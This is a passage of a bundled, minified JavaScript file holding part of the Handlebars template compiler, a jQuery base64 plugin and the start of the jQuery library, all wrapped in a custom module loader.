                    o && (g(a, c), h(a, c) && "partial" === i.type && (i.indent = /([ \t]+$)/.exec(a[c - 1].original) ? RegExp.$1: "")),
                    m && (g((i.program || i.inverse).statements), h(a, c)),
                    n && (g(a, c), h((i.inverse || i.program).statements))
                }
            }
            return a
        }
        function e(a, b, c) {
            void 0 === b && (b = a.length);
            var d = a[b - 1],
            e = a[b - 2];
            return d ? "content" === d.type ? (e || !c ? /\r?\n\s*?$/: /(^|\r?\n)\s*?$/).test(d.original) : void 0 : c
        }
        function f(a, b, c) {
            void 0 === b && (b = -1);
            var d = a[b + 1],
            e = a[b + 2];
            return d ? "content" === d.type ? (e || !c ? /^\s*?\r?\n/: /^\s*?(\r?\n|$)/).test(d.original) : void 0 : c
        }
        function g(a, b, c) {
            var d = a[null == b ? 0 : b + 1];
            if (d && "content" === d.type && (c || !d.rightStripped)) {
                var e = d.string;
                d.string = d.string.replace(c ? /^\s+/: /^[ \t]*\r?\n?/, ""),
                d.rightStripped = d.string !== e
            }
        }
        function h(a, b, c) {
            var d = a[null == b ? a.length - 1 : b - 1];
            if (d && "content" === d.type && (c || !d.leftStripped)) {
                var e = d.string;
                return d.string = d.string.replace(c ? /\s+$/: /[ \t]+$/, ""),
                d.leftStripped = d.string !== e,
                d.leftStripped
            }
        }
        var i = {},
        j = a;
        return i.stripFlags = b,
        i.prepareBlock = c,
        i.prepareProgram = d,
        i
    } (f),
    m = function(a, b, c, d) {
        "use strict";
        function e(a) {
            return a.constructor === h.ProgramNode ? a: (g.yy = k, g.parse(a))
        }
        var f = {},
        g = a,
        h = b,
        i = c,
        j = d.extend;
        f.parser = g;
        var k = {};
        return j(k, i, h),
        f.parse = e,
        f
    } (k, j, l, e),
    n = function(a, b) {
        "use strict";
        function c() {}
        function d(a, b, c) {
            if (null == a || "string" != typeof a && a.constructor !== c.AST.ProgramNode) throw new h("You must pass a string or Handlebars AST to Handlebars.precompile. You passed " + a);
            b = b || {},
            "data" in b || (b.data = !0),
            b.compat && (b.useDepths = !0);
            var d = c.parse(a),
            e = (new c.Compiler).compile(d, b);
            return (new c.JavaScriptCompiler).compile(e, b)
        }
        function e(a, b, c) {
            function d() {
                var d = c.parse(a),
                e = (new c.Compiler).compile(d, b),
                f = (new c.JavaScriptCompiler).compile(e, b, void 0, !0);
                return c.template(f)
            }
            if (null == a || "string" != typeof a && a.constructor !== c.AST.ProgramNode) throw new h("You must pass a string or Handlebars AST to Handlebars.compile. You passed " + a);
            b = b || {},
            "data" in b || (b.data = !0),
            b.compat && (b.useDepths = !0);
            var e, f = function(a, b) {
                return e || (e = d()),
                e.call(this, a, b)
            };
            return f._setup = function(a) {
                return e || (e = d()),
                e._setup(a)
            },
            f._child = function(a, b, c) {
                return e || (e = d()),
                e._child(a, b, c)
            },
            f
        }
        function f(a, b) {
            if (a === b) return ! 0;
            if (i(a) && i(b) && a.length === b.length) {
                for (var c = 0; c < a.length; c++) if (!f(a[c], b[c])) return ! 1;
                return ! 0
            }
        }
        var g = {},
        h = a,
        i = b.isArray,
        j = [].slice;
        return g.Compiler = c,
        c.prototype = {
            compiler: c,
            equals: function(a) {
                var b = this.opcodes.length;
                if (a.opcodes.length !== b) return ! 1;
                for (var c = 0; b > c; c++) {
                    var d = this.opcodes[c],
                    e = a.opcodes[c];
                    if (d.opcode !== e.opcode || !f(d.args, e.args)) return ! 1
                }
                for (b = this.children.length, c = 0; b > c; c++) if (!this.children[c].equals(a.children[c])) return ! 1;
                return ! 0
            },
            guid: 0,
            compile: function(a, b) {
                this.opcodes = [],
                this.children = [],
                this.depths = {
                    list: []
                },
                this.options = b,
                this.stringParams = b.stringParams,
                this.trackIds = b.trackIds;
                var c = this.options.knownHelpers;
                if (this.options.knownHelpers = {
                    helperMissing: !0,
                    blockHelperMissing: !0,
                    each: !0,
                    "if": !0,
                    unless: !0,
                    "with": !0,
                    log: !0,
                    lookup: !0
                },
                c) for (var d in c) this.options.knownHelpers[d] = c[d];
                return this.accept(a)
            },
            accept: function(a) {
                return this[a.type](a)
            },
            program: function(a) {
                for (var b = a.statements,
                c = 0,
                d = b.length; d > c; c++) this.accept(b[c]);
                return this.isSimple = 1 === d,
                this.depths.list = this.depths.list.sort(function(a, b) {
                    return a - b
                }),
                this
            },
            compileProgram: function(a) {
                var b, c = (new this.compiler).compile(a, this.options),
                d = this.guid++;
                this.usePartial = this.usePartial || c.usePartial,
                this.children[d] = c;
                for (var e = 0,
                f = c.depths.list.length; f > e; e++) b = c.depths.list[e],
                2 > b || this.addDepth(b - 1);
                return d
            },
            block: function(a) {
                var b = a.mustache,
                c = a.program,
                d = a.inverse;
                c && (c = this.compileProgram(c)),
                d && (d = this.compileProgram(d));
                var e = b.sexpr,
                f = this.classifySexpr(e);
                "helper" === f ? this.helperSexpr(e, c, d) : "simple" === f ? (this.simpleSexpr(e), this.opcode("pushProgram", c), this.opcode("pushProgram", d), this.opcode("emptyHash"), this.opcode("blockValue", e.id.original)) : (this.ambiguousSexpr(e, c, d), this.opcode("pushProgram", c), this.opcode("pushProgram", d), this.opcode("emptyHash"), this.opcode("ambiguousBlockValue")),
                this.opcode("append")
            },
            hash: function(a) {
                var b, c, d = a.pairs;
                for (this.opcode("pushHash"), b = 0, c = d.length; c > b; b++) this.pushParam(d[b][1]);
                for (; b--;) this.opcode("assignToHash", d[b][0]);
                this.opcode("popHash")
            },
            partial: function(a) {
                var b = a.partialName;
                this.usePartial = !0,
                a.hash ? this.accept(a.hash) : this.opcode("push", "undefined"),
                a.context ? this.accept(a.context) : (this.opcode("getContext", 0), this.opcode("pushContext")),
                this.opcode("invokePartial", b.name, a.indent || ""),
                this.opcode("append")
            },
            content: function(a) {
                a.string && this.opcode("appendContent", a.string)
            },
            mustache: function(a) {
                this.sexpr(a.sexpr),
                a.escaped && !this.options.noEscape ? this.opcode("appendEscaped") : this.opcode("append")
            },
            ambiguousSexpr: function(a, b, c) {
                var d = a.id,
                e = d.parts[0],
                f = null != b || null != c;
                this.opcode("getContext", d.depth),
                this.opcode("pushProgram", b),
                this.opcode("pushProgram", c),
                this.ID(d),
                this.opcode("invokeAmbiguous", e, f)
            },
            simpleSexpr: function(a) {
                var b = a.id;
                "DATA" === b.type ? this.DATA(b) : b.parts.length ? this.ID(b) : (this.addDepth(b.depth), this.opcode("getContext", b.depth), this.opcode("pushContext")),
                this.opcode("resolvePossibleLambda")
            },
            helperSexpr: function(a, b, c) {
                var d = this.setupFullMustacheParams(a, b, c),
                e = a.id,
                f = e.parts[0];
                if (this.options.knownHelpers[f]) this.opcode("invokeKnownHelper", d.length, f);
                else {
                    if (this.options.knownHelpersOnly) throw new h("You specified knownHelpersOnly, but used the unknown helper " + f, a);
                    e.falsy = !0,
                    this.ID(e),
                    this.opcode("invokeHelper", d.length, e.original, e.isSimple)
                }
            },
            sexpr: function(a) {
                var b = this.classifySexpr(a);
                "simple" === b ? this.simpleSexpr(a) : "helper" === b ? this.helperSexpr(a) : this.ambiguousSexpr(a)
            },
            ID: function(a) {
                this.addDepth(a.depth),
                this.opcode("getContext", a.depth);
                var b = a.parts[0];
                b ? this.opcode("lookupOnContext", a.parts, a.falsy, a.isScoped) : this.opcode("pushContext")
            },
            DATA: function(a) {
                this.options.data = !0,
                this.opcode("lookupData", a.id.depth, a.id.parts)
            },
            STRING: function(a) {
                this.opcode("pushString", a.string)
            },
            NUMBER: function(a) {
                this.opcode("pushLiteral", a.number)
            },
            BOOLEAN: function(a) {
                this.opcode("pushLiteral", a.bool)
            },
            comment: function() {},
            opcode: function(a) {
                this.opcodes.push({
                    opcode: a,
                    args: j.call(arguments, 1)
                })
            },
            addDepth: function(a) {
                0 !== a && (this.depths[a] || (this.depths[a] = !0, this.depths.list.push(a)))
            },
            classifySexpr: function(a) {
                var b = a.isHelper,
                c = a.eligibleHelper,
                d = this.options;
                if (c && !b) {
                    var e = a.id.parts[0];
                    d.knownHelpers[e] ? b = !0 : d.knownHelpersOnly && (c = !1)
                }
                return b ? "helper": c ? "ambiguous": "simple"
            },
            pushParams: function(a) {
                for (var b = 0,
                c = a.length; c > b; b++) this.pushParam(a[b])
            },
            pushParam: function(a) {
                this.stringParams ? (a.depth && this.addDepth(a.depth), this.opcode("getContext", a.depth || 0), this.opcode("pushStringParam", a.stringModeValue, a.type), "sexpr" === a.type && this.sexpr(a)) : (this.trackIds && this.opcode("pushId", a.type, a.idName || a.stringModeValue), this.accept(a))
            },
            setupFullMustacheParams: function(a, b, c) {
                var d = a.params;
                return this.pushParams(d),
                this.opcode("pushProgram", b),
                this.opcode("pushProgram", c),
                a.hash ? this.hash(a.hash) : this.opcode("emptyHash"),
                d
            }
        },
        g.precompile = d,
        g.compile = e,
        g
    } (f, e),
    o = function(a, b) {
        "use strict";
        function c(a) {
            this.value = a
        }
        function d() {}
        var e, f = a.COMPILER_REVISION,
        g = a.REVISION_CHANGES,
        h = b;
        d.prototype = {
            nameLookup: function(a, b) {
                return d.isValidJavaScriptVariableName(b) ? a + "." + b: a + "['" + b + "']"
            },
            depthedLookup: function(a) {
                return this.aliases.lookup = "this.lookup",
                'lookup(depths, "' + a + '")'
            },
            compilerInfo: function() {
                var a = f,
                b = g[a];
                return [a, b]
            },
            appendToBuffer: function(a) {
                return this.environment.isSimple ? "return " + a + ";": {
                    appendToBuffer: !0,
                    content: a,
                    toString: function() {
                        return "buffer += " + a + ";"
                    }
                }
            },
            initializeBuffer: function() {
                return this.quotedString("")
            },
            namespace: "Handlebars",
            compile: function(a, b, c, d) {
                this.environment = a,
                this.options = b,
                this.stringParams = this.options.stringParams,
                this.trackIds = this.options.trackIds,
                this.precompile = !d,
                this.name = this.environment.name,
                this.isChild = !!c,
                this.context = c || {
                    programs: [],
                    environments: []
                },
                this.preamble(),
                this.stackSlot = 0,
                this.stackVars = [],
                this.aliases = {},
                this.registers = {
                    list: []
                },
                this.hashes = [],
                this.compileStack = [],
                this.inlineStack = [],
                this.compileChildren(a, b),
                this.useDepths = this.useDepths || a.depths.list.length || this.options.compat;
                var e, f, g, i = a.opcodes;
                for (f = 0, g = i.length; g > f; f++) e = i[f],
                this[e.opcode].apply(this, e.args);
                if (this.pushSource(""), this.stackSlot || this.inlineStack.length || this.compileStack.length) throw new h("Compile completed with content left on stack");
                var j = this.createFunctionContext(d);
                if (this.isChild) return j;
                var k = {
                    compiler: this.compilerInfo(),
                    main: j
                },
                l = this.context.programs;
                for (f = 0, g = l.length; g > f; f++) l[f] && (k[f] = l[f]);
                return this.environment.usePartial && (k.usePartial = !0),
                this.options.data && (k.useData = !0),
                this.useDepths && (k.useDepths = !0),
                this.options.compat && (k.compat = !0),
                d || (k.compiler = JSON.stringify(k.compiler), k = this.objectLiteral(k)),
                k
            },
            preamble: function() {
                this.lastContext = 0,
                this.source = []
            },
            createFunctionContext: function(a) {
                var b = "",
                c = this.stackVars.concat(this.registers.list);
                c.length > 0 && (b += ", " + c.join(", "));
                for (var d in this.aliases) this.aliases.hasOwnProperty(d) && (b += ", " + d + "=" + this.aliases[d]);
                var e = ["depth0", "helpers", "partials", "data"];
                this.useDepths && e.push("depths");
                var f = this.mergeSource(b);
                return a ? (e.push(f), Function.apply(this, e)) : "function(" + e.join(",") + ") {\n  " + f + "}"
            },
            mergeSource: function(a) {
                for (var b, c, d = "",
                e = !this.forceBuffer,
                f = 0,
                g = this.source.length; g > f; f++) {
                    var h = this.source[f];
                    h.appendToBuffer ? b = b ? b + "\n    + " + h.content: h.content: (b && (d ? d += "buffer += " + b + ";\n  ": (c = !0, d = b + ";\n  "), b = void 0), d += h + "\n  ", this.environment.isSimple || (e = !1))
                }
                return e ? (b || !d) && (d += "return " + (b || '""') + ";\n") : (a += ", buffer = " + (c ? "": this.initializeBuffer()), d += b ? "return buffer + " + b + ";\n": "return buffer;\n"),
                a && (d = "var " + a.substring(2) + (c ? "": ";\n  ") + d),
                d
            },
            blockValue: function(a) {
                this.aliases.blockHelperMissing = "helpers.blockHelperMissing";
                var b = [this.contextName(0)];
                this.setupParams(a, 0, b);
                var c = this.popStack();
                b.splice(1, 0, c),
                this.push("blockHelperMissing.call(" + b.join(", ") + ")")
            },
            ambiguousBlockValue: function() {
                this.aliases.blockHelperMissing = "helpers.blockHelperMissing";
                var a = [this.contextName(0)];
                this.setupParams("", 0, a, !0),
                this.flushInline();
                var b = this.topStack();
                a.splice(1, 0, b),
                this.pushSource("if (!" + this.lastHelper + ") { " + b + " = blockHelperMissing.call(" + a.join(", ") + "); }")
            },
            appendContent: function(a) {
                this.pendingContent && (a = this.pendingContent + a),
                this.pendingContent = a
            },
            append: function() {
                this.flushInline();
                var a = this.popStack();
                this.pushSource("if (" + a + " != null) { " + this.appendToBuffer(a) + " }"),
                this.environment.isSimple && this.pushSource("else { " + this.appendToBuffer("''") + " }")
            },
            appendEscaped: function() {
                this.aliases.escapeExpression = "this.escapeExpression",
                this.pushSource(this.appendToBuffer("escapeExpression(" + this.popStack() + ")"))
            },
            getContext: function(a) {
                this.lastContext = a
            },
            pushContext: function() {
                this.pushStackLiteral(this.contextName(this.lastContext))
            },
            lookupOnContext: function(a, b, c) {
                var d = 0,
                e = a.length;
                for (c || !this.options.compat || this.lastContext ? this.pushContext() : this.push(this.depthedLookup(a[d++])); e > d; d++) this.replaceStack(function(c) {
                    var e = this.nameLookup(c, a[d], "context");
                    return b ? " && " + e: " != null ? " + e + " : " + c
                })
            },
            lookupData: function(a, b) {
                a ? this.pushStackLiteral("this.data(data, " + a + ")") : this.pushStackLiteral("data");
                for (var c = b.length,
                d = 0; c > d; d++) this.replaceStack(function(a) {
                    return " && " + this.nameLookup(a, b[d], "data")
                })
            },
            resolvePossibleLambda: function() {
                this.aliases.lambda = "this.lambda",
                this.push("lambda(" + this.popStack() + ", " + this.contextName(0) + ")")
            },
            pushStringParam: function(a, b) {
                this.pushContext(),
                this.pushString(b),
                "sexpr" !== b && ("string" == typeof a ? this.pushString(a) : this.pushStackLiteral(a))
            },
            emptyHash: function() {
                this.pushStackLiteral("{}"),
                this.trackIds && this.push("{}"),
                this.stringParams && (this.push("{}"), this.push("{}"))
            },
            pushHash: function() {
                this.hash && this.hashes.push(this.hash),
                this.hash = {
                    values: [],
                    types: [],
                    contexts: [],
                    ids: []
                }
            },
            popHash: function() {
                var a = this.hash;
                this.hash = this.hashes.pop(),
                this.trackIds && this.push("{" + a.ids.join(",") + "}"),
                this.stringParams && (this.push("{" + a.contexts.join(",") + "}"), this.push("{" + a.types.join(",") + "}")),
                this.push("{\n    " + a.values.join(",\n    ") + "\n  }")
            },
            pushString: function(a) {
                this.pushStackLiteral(this.quotedString(a))
            },
            push: function(a) {
                return this.inlineStack.push(a),
                a
            },
            pushLiteral: function(a) {
                this.pushStackLiteral(a)
            },
            pushProgram: function(a) {
                null != a ? this.pushStackLiteral(this.programExpression(a)) : this.pushStackLiteral(null)
            },
            invokeHelper: function(a, b, c) {
                this.aliases.helperMissing = "helpers.helperMissing";
                var d = this.popStack(),
                e = this.setupHelper(a, b),
                f = (c ? e.name + " || ": "") + d + " || helperMissing";
                this.push("((" + f + ").call(" + e.callParams + "))")
            },
            invokeKnownHelper: function(a, b) {
                var c = this.setupHelper(a, b);
                this.push(c.name + ".call(" + c.callParams + ")")
            },
            invokeAmbiguous: function(a, b) {
                this.aliases.functionType = '"function"',
                this.aliases.helperMissing = "helpers.helperMissing",
                this.useRegister("helper");
                var c = this.popStack();
                this.emptyHash();
                var d = this.setupHelper(0, a, b),
                e = this.lastHelper = this.nameLookup("helpers", a, "helper");
                this.push("((helper = (helper = " + e + " || " + c + ") != null ? helper : helperMissing" + (d.paramsInit ? "),(" + d.paramsInit: "") + "),(typeof helper === functionType ? helper.call(" + d.callParams + ") : helper))")
            },
            invokePartial: function(a, b) {
                var c = [this.nameLookup("partials", a, "partial"), "'" + b + "'", "'" + a + "'", this.popStack(), this.popStack(), "helpers", "partials"];
                this.options.data ? c.push("data") : this.options.compat && c.push("undefined"),
                this.options.compat && c.push("depths"),
                this.push("this.invokePartial(" + c.join(", ") + ")")
            },
            assignToHash: function(a) {
                var b, c, d, e = this.popStack();
                this.trackIds && (d = this.popStack()),
                this.stringParams && (c = this.popStack(), b = this.popStack());
                var f = this.hash;
                b && f.contexts.push("'" + a + "': " + b),
                c && f.types.push("'" + a + "': " + c),
                d && f.ids.push("'" + a + "': " + d),
                f.values.push("'" + a + "': (" + e + ")")
            },
            pushId: function(a, b) {
                "ID" === a || "DATA" === a ? this.pushString(b) : "sexpr" === a ? this.pushStackLiteral("true") : this.pushStackLiteral("null")
            },
            compiler: d,
            compileChildren: function(a, b) {
                for (var c, d, e = a.children,
                f = 0,
                g = e.length; g > f; f++) {
                    c = e[f],
                    d = new this.compiler;
                    var h = this.matchExistingProgram(c);
                    null == h ? (this.context.programs.push(""), h = this.context.programs.length, c.index = h, c.name = "program" + h, this.context.programs[h] = d.compile(c, b, this.context, !this.precompile), this.context.environments[h] = c, this.useDepths = this.useDepths || d.useDepths) : (c.index = h, c.name = "program" + h)
                }
            },
            matchExistingProgram: function(a) {
                for (var b = 0,
                c = this.context.environments.length; c > b; b++) {
                    var d = this.context.environments[b];
                    if (d && d.equals(a)) return b
                }
            },
            programExpression: function(a) {
                var b = this.environment.children[a],
                c = (b.depths.list, this.useDepths),
                d = [b.index, "data"];
                return c && d.push("depths"),
                "this.program(" + d.join(", ") + ")"
            },
            useRegister: function(a) {
                this.registers[a] || (this.registers[a] = !0, this.registers.list.push(a))
            },
            pushStackLiteral: function(a) {
                return this.push(new c(a))
            },
            pushSource: function(a) {
                this.pendingContent && (this.source.push(this.appendToBuffer(this.quotedString(this.pendingContent))), this.pendingContent = void 0),
                a && this.source.push(a)
            },
            pushStack: function(a) {
                this.flushInline();
                var b = this.incrStack();
                return this.pushSource(b + " = " + a + ";"),
                this.compileStack.push(b),
                b
            },
            replaceStack: function(a) {
                var b, d, e, f = "";
                this.isInline();
                if (!this.isInline()) throw new h("replaceStack on non-inline");
                var g = this.popStack(!0);
                if (g instanceof c) f = b = g.value,
                e = !0;
                else {
                    d = !this.stackSlot;
                    var i = d ? this.incrStack() : this.topStackName();
                    f = "(" + this.push(i) + " = " + g + ")",
                    b = this.topStack()
                }
                var j = a.call(this, b);
                e || this.popStack(),
                d && this.stackSlot--,
                this.push("(" + f + j + ")")
            },
            incrStack: function() {
                return this.stackSlot++,
                this.stackSlot > this.stackVars.length && this.stackVars.push("stack" + this.stackSlot),
                this.topStackName()
            },
            topStackName: function() {
                return "stack" + this.stackSlot
            },
            flushInline: function() {
                var a = this.inlineStack;
                if (a.length) {
                    this.inlineStack = [];
                    for (var b = 0,
                    d = a.length; d > b; b++) {
                        var e = a[b];
                        e instanceof c ? this.compileStack.push(e) : this.pushStack(e)
                    }
                }
            },
            isInline: function() {
                return this.inlineStack.length
            },
            popStack: function(a) {
                var b = this.isInline(),
                d = (b ? this.inlineStack: this.compileStack).pop();
                if (!a && d instanceof c) return d.value;
                if (!b) {
                    if (!this.stackSlot) throw new h("Invalid stack pop");
                    this.stackSlot--
                }
                return d
            },
            topStack: function() {
                var a = this.isInline() ? this.inlineStack: this.compileStack,
                b = a[a.length - 1];
                return b instanceof c ? b.value: b
            },
            contextName: function(a) {
                return this.useDepths && a ? "depths[" + a + "]": "depth" + a
            },
            quotedString: function(a) {
                return '"' + a.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029") + '"'
            },
            objectLiteral: function(a) {
                var b = [];
                for (var c in a) a.hasOwnProperty(c) && b.push(this.quotedString(c) + ":" + a[c]);
                return "{" + b.join(",") + "}"
            },
            setupHelper: function(a, b, c) {
                var d = [],
                e = this.setupParams(b, a, d, c),
                f = this.nameLookup("helpers", b, "helper");
                return {
                    params: d,
                    paramsInit: e,
                    name: f,
                    callParams: [this.contextName(0)].concat(d).join(", ")
                }
            },
            setupOptions: function(a, b, c) {
                var d, e, f, g = {},
                h = [],
                i = [],
                j = [];
                g.name = this.quotedString(a),
                g.hash = this.popStack(),
                this.trackIds && (g.hashIds = this.popStack()),
                this.stringParams && (g.hashTypes = this.popStack(), g.hashContexts = this.popStack()),
                e = this.popStack(),
                f = this.popStack(),
                (f || e) && (f || (f = "this.noop"), e || (e = "this.noop"), g.fn = f, g.inverse = e);
                for (var k = b; k--;) d = this.popStack(),
                c[k] = d,
                this.trackIds && (j[k] = this.popStack()),
                this.stringParams && (i[k] = this.popStack(), h[k] = this.popStack());
                return this.trackIds && (g.ids = "[" + j.join(",") + "]"),
                this.stringParams && (g.types = "[" + i.join(",") + "]", g.contexts = "[" + h.join(",") + "]"),
                this.options.data && (g.data = "data"),
                g
            },
            setupParams: function(a, b, c, d) {
                var e = this.objectLiteral(this.setupOptions(a, b, c));
                return d ? (this.useRegister("options"), c.push("options"), "options=" + e) : (c.push(e), "")
            }
        };
        for (var i = "break else new var case finally return void catch for switch while continue function this with default if throw delete in try do instanceof typeof abstract enum int short boolean export interface static byte extends long super char final native synchronized class float package throws const goto private transient debugger implements protected volatile double import public let yield".split(" "), j = d.RESERVED_WORDS = {},
        k = 0, l = i.length; l > k; k++) j[i[k]] = !0;
        return d.isValidJavaScriptVariableName = function(a) {
            return ! d.RESERVED_WORDS[a] && /^[a-zA-Z_$][0-9a-zA-Z_$]*$/.test(a)
        },
        e = d
    } (g, f),
    p = function(a, b, c, d, e) {
        "use strict";
        var f, g = a,
        h = b,
        i = c.parser,
        j = c.parse,
        k = d.Compiler,
        l = d.compile,
        m = d.precompile,
        n = e,
        o = g.create,
        p = function() {
            var a = o();
            return a.compile = function(b, c) {
                return l(b, c, a)
            },
            a.precompile = function(b, c) {
                return m(b, c, a)
            },
            a.AST = h,
            a.Compiler = k,
            a.JavaScriptCompiler = n,
            a.Parser = i,
            a.parse = j,
            a
        };
        return g = p(),
        g.create = p,
        g["default"] = g,
        f = g
    } (i, j, m, n, o);
    return p
}),
__tk2__define("lib/jquery.base64", ["./jquery.min"],
function(a, b, c) {
    var d = a("./jquery.min"); !
    function(a) {
        function b(a, b, c, d, e, f) {
            a = String(a);
            for (var g = 0,
            h = 0,
            i = a.length,
            j = "",
            k = 0; i > h;) {
                var l = a.charCodeAt(h);
                for (l = 256 > l ? c[l] : -1, g = (g << e) + l, k += e; k >= f;) {
                    k -= f;
                    var m = g >> k;
                    j += d.charAt(m),
                    g ^= m << k
                }++h
            }
            return ! b && k > 0 && (j += d.charAt(g << f - k)),
            j
        }
        for (var c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
        d = "",
        e = [256], f = [256], g = 0, h = {
            encode: function(a) {
                var b = a.replace(/[\u0080-\u07ff]/g,
                function(a) {
                    var b = a.charCodeAt(0);
                    return String.fromCharCode(192 | b >> 6, 128 | 63 & b)
                }).replace(/[\u0800-\uffff]/g,
                function(a) {
                    var b = a.charCodeAt(0);
                    return String.fromCharCode(224 | b >> 12, 128 | b >> 6 & 63, 128 | 63 & b)
                });
                return b
            },
            decode: function(a) {
                var b = a.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g,
                function(a) {
                    var b = (15 & a.charCodeAt(0)) << 12 | (63 & a.charCodeAt(1)) << 6 | 63 & a.charCodeAt(2);
                    return String.fromCharCode(b)
                }).replace(/[\u00c0-\u00df][\u0080-\u00bf]/g,
                function(a) {
                    var b = (31 & a.charCodeAt(0)) << 6 | 63 & a.charCodeAt(1);
                    return String.fromCharCode(b)
                });
                return b
            }
        }; 256 > g;) {
            var i = String.fromCharCode(g);
            d += i,
            f[g] = g,
            e[g] = c.indexOf(i),
            ++g
        }
        var j = a.base64 = function(a, b, c) {
            return b ? j[a](b, c) : a ? null: this
        };
        j.btoa = j.encode = function(a, d) {
            return a = j.raw === !1 || j.utf8encode || d ? h.encode(a) : a,
            a = b(a, !1, f, c, 8, 6),
            a + "====".slice(a.length % 4 || 4)
        },
        j.atob = j.decode = function(a, c) {
            a = a.replace(/[^A-Za-z0-9\+\/\=]/g, ""),
            a = String(a).split("=");
            var f = a.length;
            do--f,
            a[f] = b(a[f], !0, e, d, 6, 8);
            while (f > 0);
            return a = a.join(""),
            j.raw === !1 || j.utf8decode || c ? h.decode(a) : a
        }
    } (d)
}),
__tk2__define("lib/jquery.min", [],
function(a, b, c) { !
    function(a, b) {
        function c(a) {
            var b = a.length,
            c = ia.type(a);
            return ia.isWindow(a) ? !1 : 1 === a.nodeType && b ? !0 : "array" === c || "function" !== c && (0 === b || "number" == typeof b && b > 0 && b - 1 in a)
        }
        function d(a) {
            var b = xa[a] = {};
            return ia.each(a.match(ka) || [],
            function(a, c) {
                b[c] = !0
            }),
            b
        }
        function e(a, c, d, e) {
            if (ia.acceptData(a)) {
                var f, g, h = ia.expando,
                i = "string" == typeof c,
                j = a.nodeType,
                k = j ? ia.cache: a,
                l = j ? a[h] : a[h] && h;
                if (l && k[l] && (e || k[l].data) || !i || d !== b) return l || (j ? a[h] = l = _.pop() || ia.guid++:l = h),
                k[l] || (k[l] = {},
                j || (k[l].toJSON = ia.noop)),
                ("object" == typeof c || "function" == typeof c) && (e ? k[l] = ia.extend(k[l], c) : k[l].data = ia.extend(k[l].data, c)),
                f = k[l],
                e || (f.data || (f.data = {}), f = f.data),
                d !== b && (f[ia.camelCase(c)] = d),
                i ? (g = f[c], null == g && (g = f[ia.camelCase(c)])) : g = f,
                g
            }
        }
        function f(a, b, c) {
            if (ia.acceptData(a)) {
                var d, e, f, g = a.nodeType,
                i = g ? ia.cache: a,
                j = g ? a[ia.expando] : ia.expando;
                if (i[j]) {
                    if (b && (f = c ? i[j] : i[j].data)) {
                        ia.isArray(b) ? b = b.concat(ia.map(b, ia.camelCase)) : b in f ? b = [b] : (b = ia.camelCase(b), b = b in f ? [b] : b.split(" "));
                        for (d = 0, e = b.length; e > d; d++) delete f[b[d]];
                        if (! (c ? h: ia.isEmptyObject)(f)) return
                    } (c || (delete i[j].data, h(i[j]))) && (g ? ia.cleanData([a], !0) : ia.support.deleteExpando || i != i.window ? delete i[j] : i[j] = null)
                }
            }
        }
        function g(a, c, d) {
            if (d === b && 1 === a.nodeType) {
                var e = "data-" + c.replace(za, "-$1").toLowerCase();
                if (d = a.getAttribute(e), "string" == typeof d) {
                    try {
                        d = "true" === d ? !0 : "false" === d ? !1 : "null" === d ? null: +d + "" === d ? +d: ya.test(d) ? ia.parseJSON(d) : d
                    } catch(f) {}
                    ia.data(a, c, d)
                } else d = b
            }
            return d
        }
        function h(a) {
            var b;
            for (b in a) if (("data" !== b || !ia.isEmptyObject(a[b])) && "toJSON" !== b) return ! 1;
            return ! 0
        }
        function i() {
            return ! 0
        }
        function j() {
            return ! 1
        }
        function k(a, b) {
            do a = a[b];
            while (a && 1 !== a.nodeType);
            return a
        }
        function l(a, b, c) {
            if (b = b || 0, ia.isFunction(b)) return ia.grep(a,
            function(a, d) {
                var e = !!b.call(a, d, a);
                return e === c
            });
            if (b.nodeType) return ia.grep(a,
            function(a) {
                return a === b === c
            });
            if ("string" == typeof b) {
                var d = ia.grep(a,
                function(a) {
                    return 1 === a.nodeType
                });
                if (Ra.test(b)) return ia.filter(b, d, !c);
                b = ia.filter(b, d)
            }
            return ia.grep(a,
            function(a) {
                return ia.inArray(a, b) >= 0 === c
            })
        }
        function m(a) {
            var b = Ua.split("|"),
            c = a.createDocumentFragment();
            if (c.createElement) for (; b.length;) c.createElement(b.pop());
            return c
        }
        function n(a, b) {
            return a.getElementsByTagName(b)[0] || a.appendChild(a.ownerDocument.createElement(b))
        }
        function o(a) {
            var b = a.getAttributeNode("type");
            return a.type = (b && b.specified) + "/" + a.type,
            a
        }
        function p(a) {
            var b = eb.exec(a.type);
            return b ? a.type = b[1] : a.removeAttribute("type"),
            a
        }
        function q(a, b) {
            for (var c, d = 0; null != (c = a[d]); d++) ia._data(c, "globalEval", !b || ia._data(b[d], "globalEval"))
        }
        function r(a, b) {
            if (1 === b.nodeType && ia.hasData(a)) {
                var c, d, e, f = ia._data(a),
                g = ia._data(b, f),
                h = f.events;
                if (h) {
                    delete g.handle,
                    g.events = {};
                    for (c in h) for (d = 0, e = h[c].length; e > d; d++) ia.event.add(b, c, h[c][d])
                }
                g.data && (g.data = ia.extend({},
                g.data))
            }
        }
        function s(a, b) {
            var c, d, e;
            if (1 === b.nodeType) {
                if (c = b.nodeName.toLowerCase(), !ia.support.noCloneEvent && b[ia.expando]) {
                    e = ia._data(b);
                    for (d in e.events) ia.removeEvent(b, d, e.handle);
                    b.removeAttribute(ia.expando)
                }
                "script" === c && b.text !== a.text ? (o(b).text = a.text, p(b)) : "object" === c ? (b.parentNode && (b.outerHTML = a.outerHTML), ia.support.html5Clone && a.innerHTML && !ia.trim(b.innerHTML) && (b.innerHTML = a.innerHTML)) : "input" === c && bb.test(a.type) ? (b.defaultChecked = b.checked = a.checked, b.value !== a.value && (b.value = a.value)) : "option" === c ? b.defaultSelected = b.selected = a.defaultSelected: ("input" === c || "textarea" === c) && (b.defaultValue = a.defaultValue)
            }
        }
        function t(a, c) {
            var d, e, f = 0,
            g = typeof a.getElementsByTagName !== V ? a.getElementsByTagName(c || "*") : typeof a.querySelectorAll !== V ? a.querySelectorAll(c || "*") : b;
            if (!g) for (g = [], d = a.childNodes || a; null != (e = d[f]); f++) ! c || ia.nodeName(e, c) ? g.push(e) : ia.merge(g, t(e, c));
            return c === b || c && ia.nodeName(a, c) ? ia.merge([a], g) : g
        }
        function u(a) {
            bb.test(a.type) && (a.defaultChecked = a.checked)
        }
        function v(a, b) {
            if (b in a) return b;
